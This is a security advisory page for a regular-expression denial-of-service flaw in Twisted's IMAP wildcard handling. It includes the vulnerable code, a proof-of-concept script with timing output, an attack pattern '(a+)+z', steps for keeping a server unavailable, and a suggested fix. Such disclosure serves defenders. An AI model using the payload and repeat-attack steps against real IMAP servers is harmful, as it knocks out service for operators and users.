CVE-2026-106454 is a medium-severity (CVSS 4.3) CWE-1333 vulnerability in twisted. No vendor fix is recorded yet; mitigation options are listed below.
Twisted: IMAP wildcardToRegexp() ReDoS
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-106454 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
twistedReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.
Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.
Vulnerable Code
twisted/mail/imap4.py
# line 4595
def wildcardToRegexp(wildcard, delim=None):
wildcard = wildcard.replace("*", "(?:.*?)")
if delim is None:
wildcard = wildcard.replace("%", "(?:.*?)")
else:
wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
return re.compile(wildcard, re.I) # ← user input compiled verbatim
# line 4993
class MemoryAccountWithoutNamespaces:
def listMailboxes(self, ref, wildcard):
ref = self._inferiorNames(_parseMbox(ref.upper()))
wildcard = wildcardToRegexp(wildcard, "/") # ← user-supplied wildcard
return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]
Proof of Concept
from twisted.mail.imap4 import wildcardToRegexp
import time
rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
victim = "a" * n
t0 = time.perf_counter()
rx.match(victim)
print(f"n={n}: {time.perf_counter() - t0:.3f}s")
Output on Twisted 25.5.0:
[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()
n time
--- ----------
20 0.153s
22 0.651s
24 2.941s
26 14.545s
28 55.019s
Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.
Impact
Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.
An attacker who can register an account (or obtain credentials through other means) can:
CREATEa mailbox whose name is an exponential-blowup trigger string.- Issue
LIST "" "(a+)+z"(or equivalent ReDoS pattern). - Repeat at ~1-minute intervals to keep the server permanently unavailable.
No exploit code or special privileges beyond an IMAP login are required.
Fix
Escape non-wildcard characters before compiling:
def wildcardToRegexp(wildcard, delim=None):
# Split on the two IMAP wildcards, escape everything else
parts = re.split(r'([*%])', wildcard)
result = []
for p in parts:
if p == '*':
result.append('(?:.*?)')
elif p == '%':
if delim is None:
result.append('(?:.*?)')
else:
result.append('(?:(?:[^%s])*?)' % re.escape(delim))
else:
result.append(re.escape(p)) # ← escape all other characters
return re.compile(''.join(result), re.I)
Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | twisted | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for twisted, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of twisted has shipped for CVE-2026-106454 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A MODERATE severity regular expression denial of service (ReDoS) flaw was found in Twisted, an event-based Python framework bundled within several Red Hat products, including OpenShift Container Platform (Kuryr components), Red Hat Ansible Automation Platform (automation controller, event-driven automation controller,…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-106454 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-106454 in your dependencies?
Find it across PyPI, including transitive dependencies.